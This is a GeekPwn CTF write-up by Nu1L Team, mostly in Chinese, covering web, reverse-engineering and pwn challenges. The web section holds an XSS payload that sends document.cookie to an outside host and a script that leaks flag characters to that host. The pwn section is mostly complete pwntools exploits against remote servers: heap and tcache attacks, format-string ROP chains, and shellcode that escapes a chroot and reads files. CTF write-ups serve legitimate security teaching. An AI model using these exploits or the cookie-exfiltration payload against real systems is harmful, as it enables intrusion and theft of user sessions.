GeekPwn CTF WP

> Author：Nu1L Team

WEB

noXSS 2020

不会写脚本的痛苦....

Cross Origin Opener Policy

```
<!DOCTYPE html>
<html lang="en">

  <head>
    <script>
      function cb(win,c) {
        if(win.frames.length == 0) {
            location.href = ('<http://geekpwn.d7cb7b72.n0p.co/'+c>);
          }
          win.close()
      }

      function test(c) {
        url = "<http://noxss2020.call.cn:3000/?keyword=flag>{e6bd066f-d918-
496c-b3d2-ccd972d7a5a2"+c;
        console.log(url);
        win = window.open(url);
```

```
        setTimeout(cb.bind(null,win,c), 5000);
      }

      var charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a',
'b', 'c', 'd', 'e', 'f', 'A', 'B', 'C', 'D', 'E', 'F', '-', '}']

      for(var i=0; i<charset.length;i++) {
        test(charset[i]);
      }

    </script>
  </head>

  <body>

  </body>

</html>
```

rtmpdump

因涉及0day，暂不公开，大致思路是任意文件写到crontab

cosplay!

```
var Bucket = '933kpwn-1253882285';
var Region = 'ap-shanghai';

var cos = new COS({
    getAuthorization: function (options, callback) {
        var url = '/GetTempKey?path=/upload';
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, true);
        xhr.onload = function (e) {
            try {
                var data = JSON.parse(e.target.responseText);
                var credentials = data.Credentials;
            } catch (e) {
            }
            if (!data || !credentials) return console.error('credentials
invalid');
            callback({
                TmpSecretId: credentials.TmpSecretId,
                TmpSecretKey: credentials.TmpSecretKey,
                XCosSecurityToken: credentials.Token,
                ExpiredTime: data.ExpiredTime,
            });
        };
```

```
        xhr.send();
    }
});

document.getElementById('file-selector').onchange = function () {
    var file = this.files[0];
    if (!file) return;
    cos.putObject({
        Bucket: Bucket,
        Region: Region,
        Key: '/upload/' + file.name,
        Body: file,
    }, function (err, data) {
        console.log(err, data);
    });

};
```

用 `listObjectVersions` 枚举一下 Bucket 里面的内容，发现有个叫 `f1L9@/flag.txt` 的文件

指定下 `VersionId` 为长度最长的那个文件然后用 `getObject` 读一下即可

```
cos.listObjectVersions({Bucket: Bucket, Region: Region}, function (err, data)
{
    console.log(err || data);
});

cos.getObject({Bucket: Bucket, Region: Region, Key: 'f1L9@/flag.txt',
VersionId: 'MTg0NDUxNDk2MzgxNjA2ODMyNTU'}, function (err, data) {
    console.log(err || data);
});
```

umsg

看js代码发现一段奇怪的东西

```
313: function(e, t, r) {
    "use strict";
    r.r(t);
    r(91);
    var n = {
        mounted: function() {
            window.addEventListener("message", (function(e) {
                if (e.origin.match("http://umsg.iffi.top"))
                    switch (e.data.action) {
                    case "append":
                        return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload);
                    case "debug":
                        return void console.log(e.data.payload);
                    case "ping":
                        return void e.source.postMessage("pong", "*")
                    }
            }
            ), !1),
            postMessage({
                action: "ping"
            })
        }
    }
```

origin是match的, 而且没有iframe的限制, 那么直接搞个iframe, 给个域名放个html页面, 像这样的域名他http://umsg.iffi.top.xxx.xxx也能match到

```
<html>

  <body>
    <iframe src="http://umsg.iffi.top:3000/" id="la"></iframe>
  </body>
  <script>
  function test() {
    window.frames[0].postMessage({action: 'append', payload: '<img src=x
onerror="location.href=\'http://d7cb7b72.n0p.co/\'+document.cookie" />'},
"http://umsg.iffi.top:3000/")
  };
setTimeout("test()",1000);
  </script>
</html>
```

Re

easyydre

Encryption1(looks like a stream cipher):

key = [0xd4,0xd4,0x27,0x8c,0xbd,0x42,0x4d,0x64,0x60,0x44,0xac,0x6d,0x9b,0x64,0x9b,0xd3]

dst = [0xf3, 0xb8, 0xc6, 0x6b, 0x11, 0x47, 0x3e, 0xa2, 0xe5, 0xd3, 0x43, 0x1d, 0x24, 0x42, 0xab, 0x4b, 0x15, 0x19, 0x2d, 0xcf, 0x1, 0xef, 0x7a, 0x40, 0x5b, 0x86, 0xd0, 0x88, 0xe0, 0x7, 0x8f, 0x57] [:16]

Key 的计算中自校验也参与了进来，因此可以直接 dump 初始化完成之后的 boxes / subkeys。

可以解得 flag part1(16bytes): `aac1b72f-6846-40`。

Encryption2:

用 mpz 大概实现了一个很复杂的逻辑运算，随后算出来了 7 个 dword，并将其直接与后面的 20 bytes 进行异或，恢复符号与大数结构后可以发现，后 20 bytes 根本没有参与到这 7 个 dword 的计算中，调试也可以证明这一点。不 patch 程序自校验区域的情况下输入计算出的前 16 bytes 并 pad 到 36 bytes，再 dump 这 7 个 dword 为 mangshengfaxianhuadian 并求解即可（直接 dump 加密结果也可以）。

```
from z3 import *

def ror(d, n):
    return ((d >> n) | (d << (32-n))) % 0x100000000

def rol(d, n):
    return ((d << n) | (d >> (32-n))) % 0x100000000
```

```
def bytearray2intarray(arr):
    assert len(arr) % 4 == 0
    result = []
    for i in range(len(arr)//4):
        tmp = arr[4*i] + arr[4*i+1]*0x100 + \\
            arr[4*i+2]*0x10000 + arr[4*i+3]*0x1000000
        result.append(tmp)
    return result

def int2bytearray(num):
    result = []
    for i in range(4):
        result.append((num >> (i * 8)) & 0xff)
    return result

def z3_solve(m_new, v16, v14, v15):
    s = Solver()
    m0 = BitVec('m0', 32)
    cal = m0 ^ ror(v16 | v14 | v15, 14) ^ rol(v16 | v14 | v15, 10) ^ rol(
        v16 | v14 | v15, 2) ^ (v16 | v14 | v15) ^ ror(v16 | v14 | v15, 8)
    # print(cal)
    s.add(cal == m_new)
    assert s.check() == sat
    return s.model()[m0].as_long()

def main():
    with open('./processed_key', 'rb') as f:
        processed_key = bytearray2intarray(f.read()[:32*4])

    with open('./dumped_boxes', 'rb') as f:
        dumped_boxes = f.read()
        box4 = bytearray2intarray(dumped_boxes[0:256*4])
        box3 = bytearray2intarray(dumped_boxes[256*4:(256*2)*4])
        box2 = bytearray2intarray(dumped_boxes[(256*2)*4:(256*3)*4])
        box1 = bytearray2intarray(dumped_boxes[(256*3)*4:(256*4)*4])

    dst = [0xf3, 0xb8, 0xc6, 0x6b, 0x11, 0x47, 0x3e, 0xa2, 0xe5, 0xd3, 0x43,
0x1d, 0x24, 0x42, 0xab,
           0x4b, 0x15, 0x19, 0x2d, 0xcf, 0x1, 0xef, 0x7a, 0x40, 0x5b, 0x86,
0xd0, 0x88, 0xe0, 0x7, 0x8f, 0x57, 0x72, 0xa2, 0x09, 0x48]
    dst1, dst2 = dst[:16], dst[16:]

    dst1 = [0]*32 + bytearray2intarray(dst1)[::-1]

    for _r in range(32):
        r = 31 - _r
        # m0 = dst[r]
        m1 = dst1[r+1]
        m2 = dst1[r+2]
```

```
        m3 = dst1[r+3]
        special_key = processed_key[r]
        keyed_msg = m1 ^ m2 ^ special_key ^ m3
        keyed_msg = int2bytearray(keyed_msg)
        v13 = box1[keyed_msg[3]] ^ box2[keyed_msg[3]] \\
            ^ box3[keyed_msg[3]] ^ box4[keyed_msg[3]]
        v14 = box1[keyed_msg[2]] ^ box2[keyed_msg[2]] \\
            ^ box3[keyed_msg[2]] ^ box4[keyed_msg[2]]
        v14 <<= 16
        v15 = box1[keyed_msg[1]] ^ box2[keyed_msg[1]] \\
            ^ box3[keyed_msg[1]] ^ box4[keyed_msg[1]]
        v15 <<= 8
        v16 = box1[keyed_msg[0]] ^ box2[keyed_msg[0]] \\
            ^ box3[keyed_msg[0]] ^ box4[keyed_msg[0]] | (v13 << 24)

        m_new = dst1[r+4]
        m0 = z3_solve(m_new, v16, v14, v15)
        dst1[r] = m0

    flag = []
    for i in range(4):
        flag += int2bytearray(dst1[i])

    mangshengfaxianhuadian = [0x9eb5b821, 0x33b59204,
                              0x9eb5b821, 0xf3f66345,
                              0xe9b6e769, 0x65eb3ed7, 0x2b3bc746]
    result = bytearray2intarray(dst2)
    result[0] ^= mangshengfaxianhuadian[0]
    result[0] ^= mangshengfaxianhuadian[1]
    result[1] ^= mangshengfaxianhuadian[2]
    result[1] ^= mangshengfaxianhuadian[3]
    result[2] ^= mangshengfaxianhuadian[4]
    result[3] ^= mangshengfaxianhuadian[5]
    result[4] ^= mangshengfaxianhuadian[6]
    for each in result:
        flag += int2bytearray(each)
    print('flag{' + bytearray(flag).decode() + '}')

if __name__ == '__main__':
    main()
```

Androidcmd

```
import hashlib

tbl = '0123456789abcdef'

def get_md5_value(s):
```

```
    md5 = hashlib.md5()
    md5.update(s.encode('ascii'))
    md5_digest = md5.hexdigest()
    return md5_digest

def brut():

    a1 = ['_'] * 37
    a1[22] = 'a'
    a1[23] = '-'
    a1[16] = '2'
    a1[20] = 'e'
    a1[13] = '-'
    a1[14] = '4'
    a1[18] = '-'
    a1[17] = '4'
    a1[19] = '9'
    a1[15] = '5'
    a1[21] = 'a'
    a1[25] = '9'
    a1[33] = 'f'
    a1[34] = '6'
    a1[28] = '6'
    a1[32] = 'b'
    a1[30] = '0'
    a1[27] = '4'
    a1[31] = '4'
    a1[29] = 'e'
    a1[26] = '6'
    a1[35] = '8'
    a1[24] = '6'
    a1[2] = '6'
    a1[6] = '8'
    a1[1] = '2'
    a1[7] = '7'
    a1[5] = '0'
    a1[4] = '0'
    a1[8] = '-'
    a1[0] = '8'
    a1[3] = '0'
    a1[36] = '\\n' # 'fuck'

    md5sum_a2 = ['1'] * 11
    md5sum_a2[4] = 'a'
    md5sum_a2[6] = '4'
    md5sum_a2[10] = 'd'
    md5sum_a2[0] = '9'
    md5sum_a2[3] = 'd'
    md5sum_a2[1] = '4'
```

```
    md5sum_a2[5] = '8'
    md5sum_a2[2] = 'b'
    md5sum_a2[8] = '9'
    md5sum_a2[7] = '7'
    md5sum_a2[9] = '9'
    md5sum_a2 = ''.join(md5sum_a2)

    for a in tbl:
        for b in tbl:
            for c in tbl:
                for d in tbl:
                    a1[9], a1[10], a1[11], a1[12] = a, b, c, d
                    flag = ''.join(a1)
                    md5 = get_md5_value(flag)
                    if md5.startswith(md5sum_a2):
                        print('flag{' + flag[:-1] + '}')
                        exit()

if __name__ == '__main__':
    brut()
```

babyre

正向算法：

```
def enc(flag):
    xor_tbl = [0x1bc3, 0xa74, 0xce4f, 0xe52, 0xd34b, 0x7069, 0x8a27, 0x295a,
               0x630e, 0xfe27, 0x18a7, 0x5f86, 0xa747, 0x839f, 0x41ff, 0x1bc3]
    result = [0] * 16
    __hash = 0x0000000064E2FBE3 & 0xffff
    v9 = 0
    while v9 < 32:
        v_0, v_1, v_2, v_3, v_4, v_5, v_6, v_7 = \\
            flag[v9], flag[v9+1], flag[v9 + 2], flag[v9 + 3], \\
            flag[v9+4], flag[v9+5], flag[v9+6], flag[v9+7]
        back_1 = (v_0 + (v_2 << 8)) ^ xor_tbl[v9 // 2 + 0]
        result[v9//2+0] = __hash ^ back_1
        result[v9//2+1] = __hash ^ (v_1 + (v_3 << 8)) ^ xor_tbl[v9//2 + 1]
        result[v9//2+2] = __hash ^ (v_7 + (v_4 << 8)) ^ xor_tbl[v9//2 + 2]
        result[v9//2+3] = __hash ^ (v_6 + (v_5 << 8)) ^ xor_tbl[v9//2 + 3]
        __hash = back_1 ^ result[v9//2+1] ^ result[v9//2+2] ^ result[v9//2+3]
        v9 += 8

    v30 = flag[32]
    v31 = flag[35]
    v33 = __hash ^ (v30 | (v31 << 8)) ^ 0xBF9E
    result.append(v33)
    v30 = flag[33]
    v31 = flag[34]
```

```
    v33 = __hash ^ (v31 | (v30 << 8)) ^ 0xFA2C
    result.append(v33)

    return result
```

直接求解：

```
def solve():
    from Crypto.Util.number import long_to_bytes

    xor_tbl = [0x1bc3, 0xa74, 0xce4f, 0xe52, 0xd34b, 0x7069, 0x8a27, 0x295a,
               0x630e, 0xfe27, 0x18a7, 0x5f86, 0xa747, 0x839f, 0x41ff, 0x1bc3]

    dst = [0xd910, 0xc2f2, 0x6c9, 0x97d7, 0xc379, 0x3747, 0x9d5b, 0x7571,
0x2363,
           0xf21c, 0x4d81, 0xbee, 0x686a, 0x18b5, 0xde81, 0x87e1, 0x5c09,
0x1fba]

    __hash = 0x0000000064E2FBE3 & 0xffff
    flag = []
    for i in range(0, 16, 4):
        v2, v0 = list(long_to_bytes(__hash ^ dst[i+0] ^ xor_tbl[i+0]))
        v3, v1 = list(long_to_bytes(__hash ^ dst[i+1] ^ xor_tbl[i+1]))
        v4, v7 = list(long_to_bytes(__hash ^ dst[i+2] ^ xor_tbl[i+2]))
        v5, v6 = list(long_to_bytes(__hash ^ dst[i+3] ^ xor_tbl[i+3]))
        __hash ^= (dst[i+0] ^ dst[i+1] ^ dst[i+2] ^ dst[i+3])
        flag += [v0, v1, v2, v3, v4, v5, v6, v7]
    v35, v32 = list(long_to_bytes(__hash ^ dst[-2] ^ 0xBF9E))
    v33, v34 = list(long_to_bytes(__hash ^ dst[-1] ^ 0xFA2C))
    flag += [v32, v33, v34, v35]
    print('flag{' + ''.join([chr(i) for i in flag]) + '}')

if __name__ == '__main__':
    solve()
```

Pwn

BabyPwn

```
from pwn import *
#p = process('./pwn',env={'LD_PRELOAD':'./libc.so'})
p = remote('183.60.136.226', 14943)
def add(name,size,desc):
  p.recvuntil('choice')
  p.sendline('1')
  p.recvuntil('name:')
  p.send(name)
```

```
  p.recvuntil('size')
  p.sendline(str(size))
  p.recvuntil('Description:')
  p.send(desc)

def dele(idx):
  p.recvuntil('choice')
  p.sendline('2')
  p.recvuntil('index')
  p.sendline(str(idx))

add('0\\n',1,'\\n')
add('1\\n',0x40,'\\n')
add('2\\n',0x40,'\\n')
add('3\\n',0x40,'\\n')
dele(0)
add('0\\n',0,p64(0)*3+p64(0xa1)+'\\n')
dele(1)
add('1\\n',0x40,'\\n')
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('index')
p.sendline('1')
p.recvuntil('Description:')
addr = u64(p.recv(6).ljust(8,'\\x00'))
print hex(addr)
libc_base = addr - (0x7f82c6dbcc08-0x7f82c69f8000)
print hex(libc_base)
add('4\\n',0x40,'\\n')
dele(2)
dele(3)
dele(4)
add('2\\n',0x40,p64(0x21)+'\\n')
add('3\\n',0x40,p64(0x21)+'\\n')
add('4\\n',0x40,p64(0x21)+'\\n')
add('5\\n',0x1,'\\n')
dele(5)
dele(0)
add('0\\n',0,'/bin/sh\\x00'+p64(0)*2+p64(0x51)+p64(0)*9+p64(0x51)+p64(0)*9+p64
(0x51)+p64(0)*9+p64(0x21)+p64(addr-0xd0)+'\\n')
#add('5\\n',0x1,'\\n')
add('5\\n',8,'/bin/sh')
l = ELF('./libc.so')
hook = libc_base+l.symbols['__free_hook']
one = libc_base+0xf02a4
sys = libc_base+l.symbols['system']
buf_base = libc_base +(0x7f3243f3c918-0x7f3243b78000)

add('6\\n',0,p64(0)*6+p64(buf_base-0x10)+'\\n')
```

```
add('7\\n',0x20,p64(hook)+p64(hook+0x100)[:-1]+'\\n')
print hex(hook)
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('index')
raw_input()
p.sendline(p64(sys))
#add('0\\n',0,p64(0)*45+'\\n')

p.interactive()
```

PlayTheNew

```
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.arch = "amd64"

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y : p.sendlineafter(x,y)

# p = process('./pwn', env={'LD_PRELOAD':'./libc.so'})
p = remote("183.60.136.226", 13253)
e = ELF('./pwn')
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l = ELF('./libc.so')

def buy(idx, size, name):
    sl('> ',str(1))
    sl('index:',str(idx))
    sl('ball:',str(size))
    s('name:',name)

def throw(idx):
    sl('> ',str(2))
    sl('ball:',str(idx))

def show(idx):
    sl('> ',str(3))
    sl('ball:',str(idx))
    r('dance:')

def change(idx, name):
    sl('> ',str(4))
    sl('ball:', str(idx))
    s('ball:', name)
```

```python
def secret(cnt):
    sl('> ',str(5))
    s('place:', cnt)

def backdoor():
    sl('> ',str(0x666))

# leaking heap
buy(0,0x88,'0'*0x88)
throw(0)
buy(0,0x88,'0'*0x88)
throw(0)
show(0)
heap = u64(r('\n').ljust(0x8,'\x00'))-0x2a0
log.info('h.address:'+hex(heap))
# leaking libc
for i in range(5):
    buy(0,0x88,'0'*0x88)
    throw(0)

buy(0,0x88,'0'*0x88)
buy(1,0x1f8,'1'*0xf8)
throw(0)
show(0)
l.address = u64(r('\n').ljust(0x8,'\x00'))-0x1eabe0
log.info('l.address:'+hex(l.address))
setcontext = l.address+0x58000
log.info('setcontext:'+hex(setcontext))

# smabll bin tcache attack
buy(0, 0x88, '0'*0x88)
for i in range(0x7):
    throw(1)
    buy(1,0x1f8,'1'*0x1f8)

for i in range(0x7):
    buy(1, 0x108, '1'*0x108)
    throw(1)

for i in range(0x5):
    buy(0, 0x118, '0'*0x118)
    throw(0)

buy(1, 0x1f8, '4'*0x1f8)
buy(2, 0x1f8, '1'*0x1f8)
buy(4, 0x1f8, '2'*0x1f8)
throw(1)
throw(2)
```

```
buy(3, 0x188, '3'*0x188)
buy(3, 0x148, '3'*0x148)
buy(1, 0x1f8, '4'*0x1f8)

buy(1, 0x1f8, '4'*0x1f8)
buy(2, 0x1f8, '1'*0x1f8)
buy(4, 0x1f8, '2'*0x1f8)
throw(1)
throw(2)
buy(3, 0x188, '3'*0x188)
buy(3, 0x148, '3'*0x148)
buy(1, 0x1f8, '4'*0x1f8)

buy(1, 0x1f8, '4'*0x1f8)
buy(2, 0x1f8, '1'*0x1f8)
buy(4, 0x1f8, '2'*0x1f8)
throw(1)
throw(2)
buy(3, 0x188, '3'*0x188)
buy(3, 0x148, '3'*0x148)
buy(1, 0x1f8, '4'*0x1f8)

buy(0, 0x88, '0'*0x88)
buy(1, 0x88, '1'*0x88)
buy(4, 0x200, '4'*0x200)
throw(0)
throw(1)
buy(4, 0x200, '4'*0x200)
change(0, p64(heap+0x3700)+p64(0x100000-0x10))
buy(0,0x118,'0'*0x118)

shellcode = '''
mov rdi, 1
mov rsi, {0}
mov rdx, 0x30
mov rax, 1
syscall
xor rsi, rsi
mov rdi ,{1}
mov rax, 2
syscall
mov rdi, 5
mov rsi, {2}
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi, {3}
mov rdx, 0x30
```

```
mov rax, 1
syscall
mov rdi, 0
mov rax, 60
syscall
'''.format(hex(heap+0x1000),
    hex(heap+0x4200),
    hex(heap+0x200),
    hex(heap+0x200),
    hex(heap+0x4200))

rop = p64(heap+0x4050)
rop += p64(heap+0x4050)
rop += p64(0)
rop += p64(0)
rop += p64(setcontext+0x3d)
rop += p64(heap)
rop += p64(l.address+0x0002709c) # pop rsi;ret
rop += p64(0x21000)
rop += p64(l.address+0x0011c421) # pop rdx; pop r12; ret
rop += p64(0x7)
rop += p64(0)
rop += p64(l.sym['mprotect'])
rop += p64(heap+0x4100)
rop = rop.ljust(0xa0, '\x90')
rop += p64(heap+0x4078)
rop += p64(l.address+0x00026bb2) # pop rdi;ret
rop += asm(shellcode)
rop = rop.ljust(0x1b0,'\x90')
rop += 'flag'

buy(0, 0x200, rop)

# magic 0x00154b90 : mov rdx, [rdi + 8]; mov [rsp], rax; call [rdx + 0x20]
secret(p64(1)+p64(l.address+0x154b90)+p64(heap+0x4050)+p64(4)+p64(5)+p64(6))
backdoor()

p.interactive()
```

EasyShell

```
from pwn import *

from fmt_attack import Payload
#
<https://github.com/pzhxbz/my_ctf_tools/blob/master/fmt_attack/fmt_attack.py>

# p = process('./pwn')
```

```python
p = remote('183.60.136.226', 11623)
context.log_level = 'debug'

def launch_gdb():
    context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])

# launch_gdb()
'''
0x0000000000422924 : xchg edi, esp ; add al, 0 ; add dh, dh ; ret
0x000000000401f0a : pop rdi ; ret
0x0000000000471115 : syscall ; return
0x0000000000482286 : pop rax ; pop rdx ; pop rbx ; ret
0x00000000044b3a2 : pop rdi ; jmp rax
0x00000000004014a4 : pop rsi ; ret
0x00000000004203b0 : mov rax, rdi ; ret
0x00000000042ad19 : mov rdi, rax ; call rcx
0x0000000042142b : pop rcx ; ret
'''
a = Payload(10,addon=('%' + str(0x6ED798) + 'x').ljust(0x10,'a'))
a.add_write_chunk(0x0000000000422924,0x6ED7A8,write_len=4)
a.add_write_chunk(0x000000000401f0a,0x6ED7b8,write_len=4)

a.add_write_chunk(0x6E,0x6ED7b8 + 8 + 2,write_len=1)
a.add_write_chunk(0xb8 + 0x10,0x6ED7b8 + 8,write_len=1)
a.add_write_chunk(0xd7,0x6ED7b8 + 9,write_len=1)
a.add_write_chunk(0x00000000400BCE,0x6ED7b8 + 0x10,write_len=4)
payload  = a.get_payload()
# print(payload.encode('hex'))
p.recvuntil('Input your message')
p.sendline(payload.ljust(0xc0))
p.recvuntil('Take your message:')
# p.recvuntil('aaa')
rop2 = 'flag'.ljust(8,'\\x00')
rop2 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
rop2 += p64(0x00000000044b3a2) + p64(0)
rop2 += p64(0) + p64(0x200) +  p64(0)
rop2 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
rop2 += p64(0x0000000000471115)
p.clean()
p.sendline(rop2.ljust(0xc0))
rop3 = p64(0x00000000004014a5) * 20

rop3 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
rop3 += p64(0x00000000044b3a2) + p64(0x6ED7b8 + 0x10)
rop3 += p64(2) + p64(0) * 2
rop3 += p64(0x00000000004014a4) + p64(0)
rop3 += p64(0x0000000000471115)
```

```
rop3 += p64(0x000000000042142b) + p64(0x00000000004014a4)
rop3 += p64(0x000000000042ad19)
rop3 += p64(0x0000000000482286) + p64(0) + p64(0x100) + p64(0)
rop3 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
rop3 += p64(0x0000000000471115)

# rop3 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
# rop3 += p64(0x000000000044b3a2) + p64(3)
# rop3 += p64(0) + p64(0x20) + p64(0)
# rop3 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
# rop3 += p64(0x0000000000471115)

rop3 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
rop3 += p64(0x000000000044b3a2) + p64(1)
rop3 += p64(1) + p64(0x40) + p64(0)
rop3 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
rop3 += p64(0x0000000000471115)

rop3 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
rop3 += p64(0x000000000044b3a2) + p64(1)
rop3 += p64(1) + p64(0x20) + p64(0)
rop3 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
rop3 += p64(0x0000000000471115)

sleep(1)
p.send(rop3.ljust(0x3000))
p.interactive()
```

ChildShell

```
from pwn import *
from fmt_attack import Payload
# https://github.com/pzhxbz/my_ctf_tools/blob/master/fmt_attack/fmt_attack.py


# p = process('./pwn')
p = remote('183.60.136.226', 17564)
context.log_level = 'debug'
context.arch = 'amd64'

def launch_gdb():
    context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])

'''
0x00000000004199a4 : xchg edi, esp ; add al, 0 ; add dh, dh ; ret
0x0000000000401a36 : pop rdi ; ret
0x0000000000468bf5 : syscall ; ret
```

```
0x0000000000479976 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000401b57 : pop rsi ; ret
'''
a = Payload(10,addon=('%' + str(0x6CB778) + 'x').ljust(0x10,'a'))
a.add_write_chunk(0x00000000004199a4,0x6CB788,write_len=4)
a.add_write_chunk(0x0000000000401a36,0x6CB798,write_len=4)
a.add_write_chunk(0x6CB798 + 0x10,0x6CB798 + 8,write_len=4)
a.add_write_chunk(0x00000000004009AE,0x6CB798 + 0x10,write_len=4)
payload  = a.get_payload()
p.recvuntil('Input your message')

p.sendline(payload.ljust(0xc0))
p.recvuntil('Take your message:')
rop2 = 'flag'.ljust(8,'\x00')
rop2 += p64(0x0000000000401a36) + p64(0)
rop2 += p64(0x0000000000479976) + p64(0) + p64(0x1000) + p64(0)
rop2 += p64(0x0000000000401b57) + p64(0x6CB798 + 0x18)
rop2 += p64(0x0000000000468bf5)
p.clean()
p.sendline(rop2.ljust(0xc0))

'''
0x00000000004a4deb : jmp rsp
'''
rop3 = p64(0x0000000000401b58) * 20
rop3 += p64(0x0000000000401a36) + p64(0x6ca000)
rop3 += p64(0x0000000000479976) + p64(10) + p64(7) + p64(0)
rop3 += p64(0x0000000000401b57) + p64(0x3000)
rop3 += p64(0x0000000000468bf5)
rop3 += p64(0x00000000004a4deb)

shellcode = '''
push 3290158;
mov rdi,rsp;
mov rsi,493;
mov rax,83;
syscall;
mov rdi,rsp;
mov rax,161;
syscall;
mov r15,13280099800329775;
push r15;
mov r15,3327649050063220270;
push r15;
mov rdi,rsp;
mov rax,161;
syscall;
''' + shellcraft.cat('/home/pwn/flag')
```

```
rop3 += asm(shellcode)
p.send(rop3)
p.interactive()
```